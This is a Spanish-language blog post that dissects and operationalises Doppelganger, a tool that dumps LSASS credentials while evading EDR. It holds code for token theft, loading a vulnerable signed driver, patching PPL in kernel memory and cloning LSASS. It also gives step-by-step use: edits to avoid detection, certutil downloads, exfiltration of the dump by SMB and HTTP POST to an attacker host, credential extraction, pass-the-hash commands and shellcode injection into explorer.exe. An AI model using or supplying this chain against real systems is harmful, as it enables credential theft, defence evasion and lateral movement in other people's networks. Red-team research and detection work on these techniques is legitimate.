Eduardo ArriolsEduardo ArriolsFebruary 24, 202613 min de lectura

Doppelganger — Clonación de LSASS para Evasión de EDR

#Evasion#Research#tool#lsass#Offensive

Introducción

Los EDR modernos (Defender, CrowdStrike o SentinelOne entre otros) protegen LSASS en múltiples capas; hooks en userland sobre ntdll.dll, monitorización de OpenProcess hacia lsass.exe, PPL a nivel kernel y callbacks ETW. Doppelganger, desarrollado por Andrea Varischio, busca evadir dichas protecciones basandose en nunca tocar la memoria de LSASS real, sencillamente clonar el proceso y centrarse en la copia.

El clon resultante no tiene PPL, no tiene hooks de EDR, tiene un PID nuevo que ningún EDR monitoriza, y contiene las mismas credenciales que el proceso original. Vamos a ver a continuación la base de su funcionamiento, y posteriormente un caso práctico.


Paso 1 — Resolución de APIs sin IAT

Los EDR escanean la Import Address Table buscando funciones como OpenProcess, MiniDumpWriteDump o NtCreateProcessEx. Doppelganger no importa ninguna API sensible (primer mini-punto positivo).

Cómo lo evade: los nombres de API están cifrados con XOR en arrays de bytes dentro de api_strings.h, se descifran en runtime y se resuelven mediante un CustomGetProcAddress() propio que opera sobre DLLs cargadas "limpias" sin hooks del EDR:

c
// api_strings.h — El binario NO contiene "MiniDumpWriteDump" en texto plano
static const unsigned char MDWD_ENC[] = {
    0x7D, 0x58, 0x5C, 0x5A, 0x70, 0x40, 0x5B, 0x47,
    0x6F, 0x4B, 0x08, 0x16, 0x06, 0x20, 0x10, 0x0B, 0x17
};

// api.c — Resolución dinámica desde DLL limpia
static BOOL ResolveApiFromDll(HMODULE hMod, const unsigned char* enc, size_t len, void** fn) {
    char* name = xor_decrypt_string(enc, len, XOR_KEY, key_len);
    if (!name) return FALSE;
    *fn = (void*)CustomGetProcAddress(hMod, name);
    free(name);
    return (*fn != NULL);
}

Todas las DLLs se cargan con LoadCleanDLL(), obteniendo copias sin hooks del EDR.

Resultado (evasión): el análisis estático (YARA, firmas AV o sandbox) no encuentra strings sensibles ni imports sospechosos.


Paso 2 — Elevación a SYSTEM vía Token Theft

Doppelganger busca impersonar a SYSTEM mediante la obtención del token de winlogon.exe:

c
// token.c — GetSystemTokenAndDuplicate()
if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
    hProcess = pOP(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
    if (hProcess) {
        if (pOPTK(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
            if (pDUPTOK(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
                        TokenImpersonation, &hDupToken)) {
                *hSystemToken = hDupToken;
                EnableAllPrivileges(hDupToken);  // SeDebugPrivilege, SeImpersonatePrivilege
            }
        }
    }
}

Después en main.c aplica la impersonación al hilo actual de ejecución:

c
pIMP(hSystemToken);          // ImpersonateLoggedOnUser
pSTT(NULL, hSystemToken);    // SetThreadToken

Resultado (evasión): no hay exploit, no hay UAC bypass, no hay nuevo proceso como SYSTEM — sólo impersonación en el hilo actual.


Paso 3 — BYOVD: Carga de RTCore64.sys

RTCore64.sys es un driver firmado legítimamente por MSI (Afterburner) que expone lectura/escritura arbitraria en memoria del kernel vía IOCTLs:

c
// driver.c — LoadAndStartDriver()
SC_HANDLE hService = pCS(hSCM, DRIVER_NAME, DRIVER_NAME, SERVICE_ALL_ACCESS,
    SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
    DRIVER_PATH, NULL, NULL, NULL, NULL, NULL);  // "C:\\Users\\Public\\RTCore64.sys"
pSS(hService, 0, NULL);  // Arrancar el servicio

// memory.c — Primitivas de R/W kernel
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
    RTCORE64_MEMORY_READ memRead = { 0 };
    memRead.Address = Address;
    memRead.ReadSize = Size;
    DWORD BytesReturned;
    pDIOC(Device, RTC64_MEMORY_READ_CODE, &memRead, sizeof(memRead),
          &memRead, sizeof(memRead), &BytesReturned, NULL);
    return memRead.Value;
}

Resultado (evasión): el driver está firmado con certificado válido — Windows lo carga sin objeciones. Los EDR que no implementan blocklists de drivers vulnerables no lo detectan.


Paso 4 — Parche de PPL en memoria del kernel

PPL impide que cualquier proceso, incluso SYSTEM, abra lsass.exe. Doppelganger lo desactiva escribiendo directamente en la estructura EPROCESS del kernel:

c
// memory.c — disablePPL()
// 1. Resuelve PsInitialSystemProcess desde ntoskrnl.exe
DWORD64 sys_eproc = ReadMemoryDWORD64(Device, ntBase + ps_offset);

// 2. Recorrer ActiveProcessLinks hasta encontrar lsass.exe
while (curr_entry != list_head) {
    DWORD64 eproc = curr_entry - offs.ActiveProcessLinks;
    char name[^16] = { 0 };
    ReadMemoryBuffer(Device, eproc + offs.ImageFileName, name, 15);

    if (_stricmp(name, "lsass.exe") == 0) {  // (string descifrada con XOR)
        SavedEproc = eproc;

        // 3. Guardar valores originales
        OriginalSigLv    = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 2);
        OriginalSecSigLv = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 1);
        OriginalProt     = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection);

        // 4. Desactivar PPL → 0x00
        WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 2, 0x00);
        WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 1, 0x00);
        WriteMemoryPrimitive(Device, 1, eproc + offs.Protection,     0x00);
        break;
    }
    curr_entry = ReadMemoryDWORD64(Device, curr_entry);
}

Los offsets de EPROCESS se seleccionan dinámicamente por build de Windows:

BuildActiveProcessLinksImageFileNameProtection
≥ 26100 (Win11 24H2)0x1d80x3380x5fa
≥ 19041 (Win10 2004+)0x4480x5a80x87a
≥ 18362 (Win10 1903)0x2f00x4500x6fa

Resultado (evasión): operación invisible desde usermode. Los EDR no tienen visibilidad sobre escrituras directas en kernel vía IOCTLs de un driver firmado.


Paso 5 — Clonación del proceso con NtCreateProcessEx

Con PPL desactivado, Doppelganger clona LSASS completo usando la syscall no documentada NtCreateProcessEx:

c
// dump.c — CloneLsassProcess()
// Abre LSASS con acceso mínimo: solo PROCESS_CREATE_PROCESS (0x0080)
hLsass = pOP(PROCESS_CREATE_PROCESS, FALSE, pe.th32ProcessID);

// Clonar: SectionHandle=NULL provoca un fork completo
NTSTATUS status = pNTCPX(
    &hClone,            // Handle al clon
    PROCESS_ALL_ACCESS,
    &objAttr,
    hLsass,             // InheritFromProcess = LSASS
    0,                  // Flags
    NULL,               // SectionHandle = NULL → fork
    NULL, NULL,         // DebugPort, TokenHandle
    FALSE
);
PropiedadLSASS originalClon
PPL✅ Activo (restaurado después)❌ Sin protección
Hooks EDR✅ ntdll.dll hookeada❌ Espacio de memoria limpio
Monitorización✅ PID conocido por el EDR❌ PID nuevo, no registrado
Credenciales✅ Existentes✅ Copia exacta

Resultado (evasión): el access mask 0x0080 (PROCESS_CREATE_PROCESS) no es el que los EDR monitorizan — buscan 0x0010 (PROCESS_VM_READ) o 0x1FFFFF (PROCESS_ALL_ACCESS). El clon no hereda hooks del EDR.


Paso 6 — Dump en memoria con callback personalizado

Doppelganger nunca escribe el dump a disco directamente. Usa MiniDumpWriteDump con un callback que redirige la I/O a un buffer en heap:

c
// dump.c — DumpCallbackRoutine()
switch (CallbackInput->CallbackType) {
    case IoStartCallback:
        CallbackOutput->Status = S_FALSE;   // Deshabilita escritura a archivo
        break;
    case IoWriteAllCallback:
        source = CallbackInput->Io.Buffer;
        destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)CallbackInput->Io.Offset);
        bufferSize = CallbackInput->Io.BufferBytes;
        RtlCopyMemory(destination, source, bufferSize);
        dumpSize += bufferSize;
        CallbackOutput->Status = S_OK;
        break;
}

// dump.c — DumpAndXorLsass(): invoca contra el CLON, no contra LSASS
pMDWD(hClone, clonedPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &mci);

Resultado (evasión): MiniDumpWriteDump se invoca contra el clon (PID distinto a LSASS). Sin escritura a disco, se evitan las detecciones basadas en file I/O y firmas de cabecera MDMP.


Paso 7 — Cifrado XOR y escritura a disco

c
// dump.c — el buffer se cifra antes de tocar disco
xor_buffer(dumpBuffer, dumpSize, key, key_len);

HANDLE dumpFile = pCFA(outPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(dumpFile, dumpBuffer, dumpSize, &bytesWritten, NULL);

El archivo resultante no tiene cabecera MDMP, tiene entropía uniforme y no contiene strings legibles (wdigest, kerberos, msv1_0).


Paso 8 — Restauración

c
// memory.c — restorePPL()
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 2, OriginalSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 1, OriginalSecSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection,     OriginalProt);

// main.c — descargar driver
StopAndUnloadDriver(DRIVER_NAME);

PPL se restaura antes de que cualquier scan periódico del EDR pueda detectar la modificación.


Resumen de evasiones posibles por 'capa'

DefensaEvasión de Doppelganger
Análisis estático (AV/YARA)APIs cifradas con XOR, sin IAT sospechosa
Hooks userland (EDR)Nunca lee memoria de LSASS — clona con NtCreateProcessEx
PPL (kernel)Parche directo en kernel vía driver firmado (BYOVD)
Monitorización de PIDEl dump se hace al clon (PID diferente)
File I/O scanningDump en memoria → cifrado XOR → sin firmas reconocibles
ETW callbacksAccess mask mínimo (0x0080), PPL desactivado durante la operación
Credential GuardNo evadido — si está activo, el dump sólo contiene stubs

Caso práctico

Ahora sí, vamos al lío, mostrando como podemos hacer uso de esta herramienta.

Clonar y compilar

cmd
git clone https://github.com/vari-sh/RedTeamGrimoire.git
cd RedTeamGrimoire\Doppelganger

:: Desde "x64 Native Tools Command Prompt for VS 2022"
msbuild Doppelganger.sln /p:Configuration=Release /p:Platform=x64

:: Resultado: x64\Release\Doppelganger.exe (~143 KB)

El .vcxproj ya incluye las dependencias: DbgHelp.lib, Psapi.lib, Advapi32.lib.

Estructura del proyecto

Doppelganger/
├── Doppelganger.sln
├── Doppelganger/
│   ├── include/
│   │   ├── api.h, api_strings.h, defs.h, driver.h, dump.h
│   │   ├── logger.h, memory.h, offsets.h, osinfo.h, token.h, utils.h
│   └── src/
│       ├── api.c, driver.c, dump.c, logger.c, main.c
│       ├── memory.c, offsets.c, osinfo.c, token.c, utils.c
└── utils/
    ├── APINameEncrypter.py      # Regenerar strings cifradas
    ├── decrypt_xor_dump.py      # Descifrar dump offline
    ├── HollowReaper.c           # Loader in-memory
    └── RTCore64.sys             # Driver vulnerable firmado

Cambios recomendados

Hay que tener en cuenta que es una herramienta pública, por lo que es recomendable al menos realizar el siguiente conjunto de cambios.

Cambiar la clave XOR

src/utils.c — líneas 8-9:

c
// ORIGINAL:
const char* XOR_KEY = "0123456789abcdefghij";
size_t key_len = 20;

// CAMBIAR A:
const char* XOR_KEY = "MiClavePersonal2026!";
size_t key_len = 20;

Debe coincidir con utils/decrypt_xor_dump.py línea 10:

python
XOR_KEY = b"MiClavePersonal2026!"

Si cambias la clave, regenera los arrays de api_strings.h y token.h con:

bash
python3 utils/APINameEncrypter.py

Cambiar rutas y nombre del servicio

include/driver.h:

c
// ORIGINAL:
#define DRIVER_NAME "mDriver"
#define DRIVER_PATH "C:\\Users\\Public\\RTCore64.sys"

// CAMBIAR A (ejemplo):
#define DRIVER_NAME "WinPerfMon"
#define DRIVER_PATH "C:\\Windows\\Temp\\RTCore64.sys"

src/main.c — líneas 52 y 58: cambiar "C:\\Users\\Public\\doppelganger.dmp" por tu ruta preferida.

Desactivar log a disco (muy recomendado)

src/main.c — línea 14:

c
// ORIGINAL:
logfile = fopen("C:\\Users\\Public\\log.txt", "a");

// CAMBIAR A:
logfile = fopen("NUL", "w");

Añadir offsets para un build no soportado

Obtener offsets con WinDbg en el target:

kd> dt nt!_EPROCESS ActiveProcessLinks  → +0xNNN
kd> dt nt!_EPROCESS ImageFileName       → +0xNNN
kd> dt nt!_EPROCESS Protection          → +0xNNN

Añadir bloque en src/offsets.c dentro de la sección x64:

c
else if (build >= TU_BUILD) {
    offs.ActiveProcessLinks = 0xNNN;
    offs.ImageFileName      = 0xNNN;
    offs.Protection         = 0xNNN;
}

Ejecución en el target

Una vez compilado, pasamos a la ejecución sobre la máquina en cuestión.

Transferir archivos

Se plantea a continuación un ejemplo de descarga mediante HTTP, aunque podrían darse casos más silenciosos.

cmd
:: Solo necesitas: Doppelganger.exe + RTCore64.sys
certutil -urlcache -split -f http://192.168.1.100/Doppelganger.exe C:\Users\Public\Doppelganger.exe
certutil -urlcache -split -f http://192.168.1.100/RTCore64.sys C:\Users\Public\RTCore64.sys

Ejecutar (requiere Administrador local)

cmd
C:\Users\Public> Doppelganger.exe

Salida en C:\Users\Public\log.txt (recomendable desactivar logs):

[*] Windows Build 22631 detected
[+] Requested privilege enabled
[+] Successfully duplicated token. Process can now run as SYSTEM.
[*] Running as SYSTEM.
[+] Service created successfully.
[+] Driver loaded and started successfully.
[*] Device handle obtained
[*] Ker base address: 0xfffff80274c1e000
[*] System entry address: 0xffff9a0b1c3e4080
[*] Found EPROC at 0xffff9a0b1d9234a0
[*] Original protection values:
[*]     SigLv value: 0x3E
[*]     SecSigLv value: 0x3E
[*]     Prot value: 0x41
[+] PPL disabled (0x00 written)
[*] Found process: lsass.exe (PID: 732)
[+] Successfully cloned process, handle: 0x000002A8
[*] Starting dump to memory buffer
[+] Copied 66781184 bytes to memory buffer
[+] XOR'd dump written to C:\Users\Public\doppelganger.dmp successfully
[+] PPL restored to original value:
[*]     SigLv value after write: 0x3E
[*]     SecSigLv value after write: 0x3E
[*]     Prot value after write: 0x41
[+] Service stopped successfully.
[+] Service deleted successfully.
[*] Execution completed successfully.

Exfiltrar el dump

Nos exfiltramos el dump mediante el canal deseado, a continuación un simple ejemplo vía HTTP.

cmd
:: SMB
copy C:\Users\Public\doppelganger.dmp \\192.168.1.100\share\

:: PowerShell HTTP
$b=[IO.File]::ReadAllBytes("C:\Users\Public\doppelganger.dmp")
Invoke-WebRequest -Uri http://192.168.1.100:8080/upload -Method POST -Body $b

Descifrado y extracción offline

En este punto, contando con el .dmp, el procesamiento sensible ocurre en la máquina atacante, fuera del alcance de cualquier EDR:

bash
# Descifrar
python3 utils/decrypt_xor_dump.py doppelganger.dmp
# [+] Decryption successful. Output written to: doppelganger.dmp.dec

# Verificar MiniDump válido
xxd doppelganger.dmp.dec | head -1
# 00000000: 4d44 4d50 ...  MDMP

# Extraer credenciales
pypykatz lsa minidump doppelganger.dmp.dec

# Ejemplo de salida:
# == LogonSession ==
# username     admin
# domainname   SILENTFORCE
#   == MSV ==
#     NT: aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
#   == Kerberos ==
#     Password: P@ssw0rd!2026

# Extraer tickets Kerberos
pypykatz lsa minidump doppelganger.dmp.dec -k ./tickets/

Uso de credenciales

A partir de aqui ya sería solo hacer uso de la tipología de credenciales que hayan sido obtenidas (texto plano, hashes, tickets, ...) para lograr movimiento lateral.

bash
# Pass-the-Hash
impacket-psexec SILENTFORCE/[email protected] \
    -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

# Pass-the-Ticket (con .kirbi extraído)
export KRB5CCNAME=./tickets/TGT_admin.corp.ccache
impacket-psexec SILENTFORCE/[email protected] -k -no-pass

HollowReaper — Ejecución in-memory

Para hacer el proceso más discreto, Doppelganger puede ejecutarse como shellcode dentro de un proceso legítimo, para lo cual podemos apoyarnos en otra herramienta del mismo repositorio, HollowReaper:

Generar shellcode con Donut + Doppelganger

bash
donut -i Doppelganger.exe -o doppelganger.bin -a 2 -f 1

Cifrar y generar array C

python
# encrypt_sc.py
KEY = b"0123456789abcdefghij"
with open("doppelganger.bin", "rb") as f:
    raw = f.read()
enc = bytes([raw[i] ^ KEY[i % len(KEY)] for i in range(len(raw))])
print("unsigned char shellcode_enc[] = {")
for i in range(0, len(enc), 16):
    print("    " + ", ".join(f"0x{b:02X}" for b in enc[i:i+16]) + ",")
print("};")

Incrustar en HollowReaper.c

Reemplazar shellcode_enc[] en utils/HollowReaper.c con la salida del script anterior.

Compilar y ejecutar

cmd
:: Compilar
cl.exe /O2 /MT /Fe:HollowReaper.exe utils\HollowReaper.c

:: Ejecutar — inyecta en explorer.exe
HollowReaper.exe "C:\Windows\explorer.exe"

[+] Process created in suspended state, PID: 11284
[+] Shellcode mapped at remote address: 0x00007FF6A2B10000
[+] Thread resumed, suspend count: 1
[+] Operation completed.

Todo el proceso de clonación ocurre dentro del espacio de direcciones de explorer.exe, sin binarios o similar llamativos en disco.


References

  1. Cloning and Dumping LSASS to Evade Detection - To analyze the dump later, a simple Python script is provided ( decrypt_xor_dump.py ). It uses the s...

  2. BYOVD Attack: Stealth LSASS Memory Extraction with Doppelganger - In this episode of The Weekly Purple Team, we walk through Doppelganger, a highly evasive tool from ...

  3. Doppelganger: An Advanced LSASS Dumper with Process ... - Github Repo: https://github.com/vari-sh/RedTeamGrimoire/tree/main/Doppelganger What is LSASS? The Lo...

  4. Attack of The Clones - Unhooking and Syscall Stubs · Reprogrammed - Unhooking from a suspended process allows us to avoid the pitfalls of opening a handle to NTDLL.dll ...

  5. Bring Your Own Vulnerable Driver (BYOVD) | Infiltr8 - MITRE ATT&CK™ Exploitation for Privilege Escalation - Technique T1068

  6. The Definitive Guide To Process Cloning on Windows - Hunt & Hackett - This article aims to provide YOU with a comprehensive guide to the technical details of process clon...

  7. HackTool - Doppelanger LSASS Dumper Execution - Detects the execution of the Doppelanger hacktool which is used to dump LSASS memory via process clo...

  8. Potential LSASS Clone Creation via PssCaptureSnapShot - Adversaries exploit this to clone the LSASS process, aiming to extract credentials without detection...

  9. Potential LSASS Clone Creation via PssCaptureSnapShot - This may indicate an attempt to evade detection and dump LSASS memory for credential access. Rule ty...

  10. OS Credential Dumping: LSASS Memory, Sub-technique T1003.001 - Adversaries may attempt to access credential material stored in the process memory of the Local Secu...

  11. attack.credential-access - Detects when the Notepad++ updater (gup.exe) makes DNS queries to domains that are not part of the k...